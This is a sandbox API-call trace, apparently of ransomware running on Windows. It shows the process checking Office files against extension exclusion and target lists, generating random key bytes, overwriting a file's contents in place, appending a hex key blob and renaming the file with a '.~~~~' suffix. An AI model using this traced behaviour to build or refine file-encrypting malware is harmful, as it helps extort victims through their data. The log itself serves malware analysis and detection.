	[0138.732] lstrlenW (lpString=".MDT") returned 4
	[0138.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".MDT") returned 0x0
	[0138.732] lstrlenW (lpString=".SQB") returned 4
	[0138.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".SQB") returned 0x0
	[0138.732] lstrlenW (lpString=".vhd") returned 4
	[0138.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".vhd") returned 0x0
	[0138.732] lstrlenW (lpString=".bac") returned 4
	[0138.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".bac") returned 0x0
	[0138.732] lstrlenW (lpString=".mdf") returned 4
	[0138.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".mdf") returned 0x0
	[0138.732] lstrlenW (lpString=".BAK") returned 4
	[0138.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".BAK") returned 0x0
	[0138.733] lstrlenW (lpString=".BAC") returned 4
	[0138.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".BAC") returned 0x0
	[0138.733] lstrlenW (lpString=".dbs") returned 4
	[0138.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".dbs") returned 0x0
	[0138.733] lstrlenW (lpString=".vhdx") returned 5
	[0138.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".vhdx") returned 0x0
	[0138.733] lstrlenW (lpString=".NDF") returned 4
	[0138.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".NDF") returned 0x0
	[0138.733] lstrlenW (lpString=".dat") returned 4
	[0138.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".dat") returned 0x0
	[0138.733] lstrlenW (lpString=".DBS") returned 4
	[0138.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".DBS") returned 0x0
	[0138.733] lstrlenW (lpString=".CKP") returned 4
	[0138.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".CKP") returned 0x0
	[0138.733] lstrlenW (lpString=".edb") returned 4
	[0138.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".edb") returned 0x0
	[0138.733] lstrlenW (lpString=".PST") returned 4
	[0138.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".PST") returned 0x0
	[0138.733] lstrlenW (lpString=".dbf") returned 4
	[0138.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".dbf") returned 0x0
	[0138.733] lstrlenW (lpString=".SQL") returned 4
	[0138.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".SQL") returned 0x0
	[0138.733] lstrlenW (lpString=".pst") returned 4
	[0138.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".pst") returned 0x0
	[0138.733] lstrlenW (lpString=".dbv") returned 4
	[0138.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".dbv") returned 0x0
	[0138.734] lstrlenW (lpString=".SDF") returned 4
	[0138.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".SDF") returned 0x0
	[0138.734] lstrlenW (lpString=".dtxs") returned 5
	[0138.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".dtxs") returned 0x0
	[0138.734] lstrlenW (lpString=".db3") returned 4
	[0138.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".db3") returned 0x0
	[0138.734] lstrlenW (lpString=".OST") returned 4
	[0138.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".OST") returned 0x0
	[0138.734] lstrlenW (lpString=".dbx") returned 4
	[0138.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".dbx") returned 0x0
	[0138.734] lstrlenW (lpString=".DB3") returned 4
	[0138.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".DB3") returned 0x0
	[0138.734] lstrlenW (lpString=".DAT") returned 4
	[0138.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".DAT") returned 0x0
	[0138.734] lstrlenW (lpString=".VHDX") returned 5
	[0138.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".VHDX") returned 0x0
	[0138.734] lstrlenW (lpString=".ndf") returned 4
	[0138.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".ndf") returned 0x0
	[0138.734] lstrlenW (lpString=".DB") returned 3
	[0138.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".DB") returned 0x0
	[0138.734] lstrlenW (lpString=".sql") returned 4
	[0138.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".sql") returned 0x0
	[0138.734] lstrlenW (lpString=".MYD") returned 4
	[0138.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".MYD") returned 0x0
	[0138.734] lstrlenW (lpString=".DBT") returned 4
	[0138.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".DBT") returned 0x0
	[0138.735] lstrlenW (lpString=".ACCDB") returned 6
	[0138.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.735] lstrlenW (lpString=".fdb") returned 4
	[0138.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".fdb") returned 0x0
	[0138.735] lstrlenW (lpString=".bak") returned 4
	[0138.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".bak") returned 0x0
	[0138.735] lstrlenW (lpString=".myd") returned 4
	[0138.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".myd") returned 0x0
	[0138.735] lstrlenW (lpString=".DTXS") returned 5
	[0138.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".DTXS") returned 0x0
	[0138.735] lstrlenW (lpString=".ckp") returned 4
	[0138.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".ckp") returned 0x0
	[0138.735] lstrlenW (lpString=".dbt") returned 4
	[0138.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".dbt") returned 0x0
	[0138.735] lstrlenW (lpString=".db") returned 3
	[0138.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".db") returned 0x0
	[0138.735] lstrlenW (lpString=".TXT") returned 4
	[0138.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".TXT") returned 0x0
	[0138.735] lstrlenW (lpString=".MDF") returned 4
	[0138.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".MDF") returned 0x0
	[0138.735] lstrlenW (lpString=".bdb") returned 4
	[0138.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".bdb") returned 0x0
	[0138.735] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0138.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.736] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0138.737] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.737] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0138.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0138.737] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25872748097) returned 1
	[0138.737] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbc1d4190, dwHighDateTime=0x1d60e1e)) 
	[0138.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0138.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0138.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0138.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825cf8
	[0138.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825cf8 | out: hHeap=0x300000) returned 1
	[0138.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398d38
	[0138.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0138.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398d38 | out: hHeap=0x300000) returned 1
	[0138.738] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0138.739] GetLastError () returned 0x0
	[0138.739] GetLastError () returned 0x0
	[0138.739] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0138.765] GetLastError () returned 0x0
	[0138.765] GetLastError () returned 0x0
	[0138.765] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.769] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.769] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0138.771] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.771] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.771] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.771] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.771] CloseHandle (hObject=0x108) returned 1
	[0138.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a430
	[0138.789] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme25.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme25.css.~~~~")) returned 1
	[0138.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a430 | out: hHeap=0x300000) returned 1
	[0138.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0138.793] GetLastError () returned 0x0
	[0138.793] RtlWakeConditionVariable () returned 0x365f70
	[0138.793] GetCurrentThreadId () returned 0xaf0
	[0138.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".scr") returned 0x0
	[0138.793] lstrlenW (lpString=".cmd") returned 4
	[0138.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".cmd") returned 0x0
	[0138.793] lstrlenW (lpString=".dll") returned 4
	[0138.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".dll") returned 0x0
	[0138.793] lstrlenW (lpString=".bat") returned 4
	[0138.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".bat") returned 0x0
	[0138.793] lstrlenW (lpString=".cpl") returned 4
	[0138.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".cpl") returned 0x0
	[0138.793] lstrlenW (lpString=".sys") returned 4
	[0138.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".sys") returned 0x0
	[0138.794] lstrlenW (lpString=".msc") returned 4
	[0138.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".msc") returned 0x0
	[0138.794] lstrlenW (lpString=".com") returned 4
	[0138.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".com") returned 0x0
	[0138.794] lstrlenW (lpString=".lnk") returned 4
	[0138.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".lnk") returned 0x0
	[0138.794] lstrlenW (lpString=".msp") returned 4
	[0138.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".msp") returned 0x0
	[0138.794] lstrlenW (lpString=".pif") returned 4
	[0138.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".pif") returned 0x0
	[0138.794] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme28.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0138.796] lstrlenW (lpString=".sqb") returned 4
	[0138.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".sqb") returned 0x0
	[0138.796] lstrlenW (lpString=".ost") returned 4
	[0138.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".ost") returned 0x0
	[0138.796] lstrlenW (lpString=".txt") returned 4
	[0138.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".txt") returned 0x0
	[0138.796] lstrlenW (lpString=".mdt") returned 4
	[0138.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".mdt") returned 0x0
	[0138.796] lstrlenW (lpString=".BDB") returned 4
	[0138.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".BDB") returned 0x0
	[0138.797] lstrlenW (lpString=".eql") returned 4
	[0138.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".eql") returned 0x0
	[0138.797] lstrlenW (lpString=".DBF") returned 4
	[0138.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".DBF") returned 0x0
	[0138.797] lstrlenW (lpString=".EQL") returned 4
	[0138.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".EQL") returned 0x0
	[0138.797] lstrlenW (lpString=".FDB") returned 4
	[0138.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".FDB") returned 0x0
	[0138.797] lstrlenW (lpString=".EDB") returned 4
	[0138.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".EDB") returned 0x0
	[0138.797] lstrlenW (lpString=".DACPAC") returned 7
	[0138.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.797] lstrlenW (lpString=".VHD") returned 4
	[0138.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".VHD") returned 0x0
	[0138.797] lstrlenW (lpString=".DBV") returned 4
	[0138.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".DBV") returned 0x0
	[0138.797] lstrlenW (lpString=".dacpac") returned 7
	[0138.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".dacpac") returned 0x0
	[0138.797] lstrlenW (lpString=".sdf") returned 4
	[0138.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".sdf") returned 0x0
	[0138.797] lstrlenW (lpString=".accdb") returned 6
	[0138.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".accdb") returned 0x0
	[0138.797] lstrlenW (lpString=".DBX") returned 4
	[0138.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".DBX") returned 0x0
	[0138.798] lstrlenW (lpString=".MDT") returned 4
	[0138.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".MDT") returned 0x0
	[0138.798] lstrlenW (lpString=".SQB") returned 4
	[0138.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".SQB") returned 0x0
	[0138.798] lstrlenW (lpString=".vhd") returned 4
	[0138.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".vhd") returned 0x0
	[0138.798] lstrlenW (lpString=".bac") returned 4
	[0138.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".bac") returned 0x0
	[0138.798] lstrlenW (lpString=".mdf") returned 4
	[0138.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".mdf") returned 0x0
	[0138.798] lstrlenW (lpString=".BAK") returned 4
	[0138.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".BAK") returned 0x0
	[0138.798] lstrlenW (lpString=".BAC") returned 4
	[0138.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".BAC") returned 0x0
	[0138.798] lstrlenW (lpString=".dbs") returned 4
	[0138.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".dbs") returned 0x0
	[0138.798] lstrlenW (lpString=".vhdx") returned 5
	[0138.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".vhdx") returned 0x0
	[0138.798] lstrlenW (lpString=".NDF") returned 4
	[0138.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".NDF") returned 0x0
	[0138.798] lstrlenW (lpString=".dat") returned 4
	[0138.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".dat") returned 0x0
	[0138.799] lstrlenW (lpString=".DBS") returned 4
	[0138.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".DBS") returned 0x0
	[0138.799] lstrlenW (lpString=".CKP") returned 4
	[0138.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".CKP") returned 0x0
	[0138.799] lstrlenW (lpString=".edb") returned 4
	[0138.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".edb") returned 0x0
	[0138.799] lstrlenW (lpString=".PST") returned 4
	[0138.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".PST") returned 0x0
	[0138.799] lstrlenW (lpString=".dbf") returned 4
	[0138.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".dbf") returned 0x0
	[0138.799] lstrlenW (lpString=".SQL") returned 4
	[0138.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".SQL") returned 0x0
	[0138.799] lstrlenW (lpString=".pst") returned 4
	[0138.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".pst") returned 0x0
	[0138.799] lstrlenW (lpString=".dbv") returned 4
	[0138.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".dbv") returned 0x0
	[0138.799] lstrlenW (lpString=".SDF") returned 4
	[0138.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".SDF") returned 0x0
	[0138.799] lstrlenW (lpString=".dtxs") returned 5
